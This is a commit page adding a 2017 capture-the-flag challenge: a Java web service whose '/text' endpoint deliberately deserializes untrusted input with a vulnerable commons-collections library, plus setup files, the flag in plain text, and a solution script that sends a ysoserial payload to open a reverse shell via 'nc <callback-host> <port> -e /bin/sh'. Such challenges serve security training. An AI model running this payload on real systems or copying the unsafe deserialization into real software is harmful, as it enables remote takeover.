Skip to content

Commit fe969c7

Browse files
committed
Add 2017's P100 challenge
1 parent 9a45dc5 commit fe969c7

File tree

10 files changed

+299
-0
lines changed

10 files changed

+299
-0
lines changed
Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
FROM openjdk:8-jre-slim
2+
3+
RUN addgroup --system p100 && \
4+
adduser --system --home /p100 --disabled-login --shell /bin/false p100 && \
5+
adduser --system --home /var/empty --disabled-login --shell /bin/false --gecos "flag{Rw4btOtmNCytflW9uFMN}" flag && \
6+
apt-get update -y && \
7+
apt-get install wget curl netcat-traditional -y
8+
9+
COPY ./target/dependency /p100/lib
10+
COPY ./target/highway-trouble.jar /p100
11+
WORKDIR /p100
12+
13+
EXPOSE 32100
14+
15+
USER p100
16+
CMD ["java", "-jar", "highway-trouble.jar", "--listen=8080"]
Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
2+
all: target
3+
4+
target:
5+
mvn dependency:copy-dependencies package
6+
7+
docker: guard-SERVICE_NAME target
8+
sudo docker build -t ${SERVICE_NAME} .
9+
10+
clean:
11+
mvn clean
12+
13+
distclean: clean
14+
15+
guard-%:
16+
@ if [ "${${*}}" = "" ]; then \
17+
echo "Environment variable $* not set"; \
18+
exit 1; \
19+
fi
20+
21+
install: guard-SERVICE_NAME docker
22+
sudo ln -sf "$(shell echo $$PWD)/${SERVICE_NAME}.service" /etc/systemd/system/${SERVICE_NAME}.service
23+
sudo systemctl daemon-reload
24+
25+
uninstall: guard-SERVICE_NAME
26+
sudo systemctl stop ${SERVICE_NAME} >/dev/null 2>&1 || true
27+
sudo rm -f /etc/systemd/system/${SERVICE_NAME}.service
28+
sudo systemctl daemon-reload
29+
sudo docker rmi ${SERVICE_NAME}
30+
31+
.PHONY: all clean distclean install uninstall tests
Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
P100
2+
====
3+
4+
(Feels like deja-vu all over again...)
5+
6+
We found that some highway information displays have their APIs exposed
7+
on the wild Internet. These displays have a single endpoint `/text`
8+
which returns the current displayed text on GET and allows setting new
9+
text to display on `POST` (fun!).
10+
11+
From inside information, we also know they have other stuff running on
12+
the same appliances, like the speed radar software. Well... the radar
13+
caught us speeding, and we need to prevent the controller from submitting
14+
our photo back to the mothership.
15+
16+
We need you to hack into the server and fetch us the flag in the `/etc/passwd`
17+
file.
18+
19+
Flag
20+
----
21+
22+
`flag{Rw4btOtmNCytflW9uFMN}`
23+
24+
25+
Answer
26+
------
27+
28+
The solution is to POST a serialized malicious object to `/text` to achieve
29+
RCE. One possible way to achieve this is to use the [ysoserial tool](https://github.com/frohoff/ysoserial)
30+
31+
Check the `solution/solution.sh` script for a minimal answer for this
32+
problem.
33+
34+
35+
36+
Installing
37+
----------
38+
39+
To install locally for testing, just run `make` to build the virtualenv
40+
with all the necessary dependencies. Then run `p100-runserver.sh` to
41+
start the service.
42+
43+
For the actual challenge, the service needs to run in a read-only
44+
Docker container for safety. Run `make docker` and `make install`
45+
to register it with systemd, then run `systemctl start p100` to
46+
start it. It will listen on port "32100".
47+
48+
49+
Tested on Ubuntu 16.04 x64.
50+
Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
[Unit]
2+
Description=Pixels Camp CTF P100 Challenge
3+
After=network.target
4+
Requires=docker.service
5+
After=docker.service
6+
7+
[Service]
8+
Type=simple
9+
ExecStart=/usr/bin/docker run --name p100 -p 127.0.0.1:32100:8080 --mount type=tmpfs,destination=/tmp,tmpfs-size=107374182400 --read-only --rm p100
10+
KillSignal=SIGINT
11+
TimeoutStopSec=5
12+
Restart=always
13+
14+
[Install]
15+
WantedBy=multi-user.target
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
2+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
3+
<modelVersion>4.0.0</modelVersion>
4+
<groupId>highway-trouble</groupId>
5+
<artifactId>highway-trouble</artifactId>
6+
<version>0.0.1</version>
7+
<name>highway-trouble</name>
8+
<build>
9+
<finalName>${project.artifactId}</finalName>
10+
<sourceDirectory>src</sourceDirectory>
11+
<plugins>
12+
<plugin>
13+
<artifactId>maven-compiler-plugin</artifactId>
14+
<version>3.6.1</version>
15+
<configuration>
16+
<source>1.8</source>
17+
<target>1.8</target>
18+
</configuration>
19+
</plugin>
20+
<plugin>
21+
<!-- Build an executable JAR -->
22+
<groupId>org.apache.maven.plugins</groupId>
23+
<artifactId>maven-jar-plugin</artifactId>
24+
<version>3.0.2</version>
25+
<configuration>
26+
<archive>
27+
<manifest>
28+
<addClasspath>true</addClasspath>
29+
<classpathPrefix>lib/</classpathPrefix>
30+
<mainClass>camp.pixels.ctf.highway.Main</mainClass>
31+
</manifest>
32+
</archive>
33+
</configuration>
34+
</plugin>
35+
</plugins>
36+
</build>
37+
<dependencies>
38+
<dependency>
39+
<groupId>com.sparkjava</groupId>
40+
<artifactId>spark-core</artifactId>
41+
<version>2.6.0</version>
42+
</dependency>
43+
<dependency>
44+
<groupId>org.slf4j</groupId>
45+
<artifactId>slf4j-simple</artifactId>
46+
<version>1.7.25</version>
47+
</dependency>
48+
<dependency>
49+
<groupId>org.apache.commons</groupId>
50+
<artifactId>commons-collections4</artifactId>
51+
<version>4.0</version>
52+
</dependency>
53+
<dependency>
54+
<groupId>org.apache.commons</groupId>
55+
<artifactId>commons-lang3</artifactId>
56+
<version>3.6</version>
57+
</dependency>
58+
<dependency>
59+
<groupId>net.sourceforge.argparse4j</groupId>
60+
<artifactId>argparse4j</artifactId>
61+
<version>0.8.1</version>
62+
</dependency>
63+
</dependencies>
64+
</project>
Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
#!/bin/sh
2+
3+
# Fetch ysoserial from https://github.com/frohoff/ysoserial
4+
5+
# Expects <callback-host> listening on <port>
6+
7+
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 "nc <callback-host> <port> -e /bin/sh" | base64 | curl --request POST -v --data-binary "@-" http://p100-ctf-d10e7f04b564847c.pixels.camp/text
8+
9+
# Enjoy your shell
Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
package camp.pixels.ctf.highway;
2+
3+
import java.io.Serializable;
4+
5+
public class Display implements Serializable {
6+
private static final long serialVersionUID = 7630566514436928811L;
7+
private static final String DEFAULT_MESSAGE = "--testing--";
8+
private String message = DEFAULT_MESSAGE;
9+
10+
public String getMessage() {
11+
return this.message;
12+
}
13+
14+
public void setMessage(String msg) {
15+
this.message = msg;
16+
}
17+
}
Lines changed: 54 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
package camp.pixels.ctf.highway;
2+
3+
import java.io.PrintWriter;
4+
import java.io.StringWriter;
5+
import java.util.Base64;
6+
import org.apache.commons.lang3.SerializationUtils;
7+
8+
import static spark.Spark.*;
9+
10+
public class DisplayController {
11+
12+
public DisplayController(final DisplayService srv, int listen) {
13+
14+
if (listen > 0 && listen < 65536) {
15+
port(listen);
16+
}
17+
18+
get("/text", (req, res) -> {
19+
byte[] data = SerializationUtils.serialize(srv.getDisplay());
20+
return Base64.getEncoder().encodeToString(data);
21+
});
22+
23+
post("/text", (req, res) -> {
24+
String body = req.body();
25+
body = body.replace("\n", "").replace("\r\n", "");
26+
System.out.println("Got request: [" + body + "]");
27+
byte[] data = Base64.getDecoder().decode(body);
28+
Display d = SerializationUtils.deserialize(data);
29+
srv.setText(d);
30+
return "Message updated!";
31+
});
32+
33+
exception(IllegalArgumentException.class, (e, req, res) -> {
34+
res.status(400);
35+
res.body(e.getMessage());
36+
});
37+
38+
exception(Exception.class, (e, req, res) -> {
39+
StringWriter buffer = new StringWriter();
40+
PrintWriter printer = new PrintWriter(buffer);
41+
e.printStackTrace(printer);
42+
res.status(500);
43+
res.body(buffer.toString());
44+
});
45+
46+
notFound((req, res) -> {
47+
return "Not found.";
48+
});
49+
after((req, res) -> {
50+
res.type("text/plain");
51+
});
52+
53+
}
54+
}
Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
package camp.pixels.ctf.highway;
2+
3+
public class DisplayService {
4+
private Display display = new Display();
5+
6+
public Display getDisplay() {
7+
return this.display;
8+
}
9+
10+
public void setText(Display d) {
11+
this.display = d;
12+
}
13+
14+
}
Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
package camp.pixels.ctf.highway;
2+
3+
import net.sourceforge.argparse4j.ArgumentParsers;
4+
import net.sourceforge.argparse4j.inf.ArgumentParser;
5+
import net.sourceforge.argparse4j.inf.ArgumentParserException;
6+
import net.sourceforge.argparse4j.inf.Namespace;
7+
8+
9+
public class Main {
10+
public static void main(String[] args) {
11+
12+
ArgumentParser parser = ArgumentParsers.newArgumentParser("highway").defaultHelp(true);
13+
14+
parser.addArgument("-l", "--listen").required(true)
15+
.dest("port")
16+
.help("Specify the port where the service should listen");
17+
18+
int port = 0;
19+
try {
20+
Namespace ns = parser.parseKnownArgs(args, null);
21+
port = Integer.parseInt(ns.get("port"));
22+
} catch (ArgumentParserException e) {
23+
parser.printHelp();
24+
System.exit(-1);
25+
}
26+
27+
new DisplayController(new DisplayService(), port);
28+
}
29+
}

0 commit comments

Comments
 (0)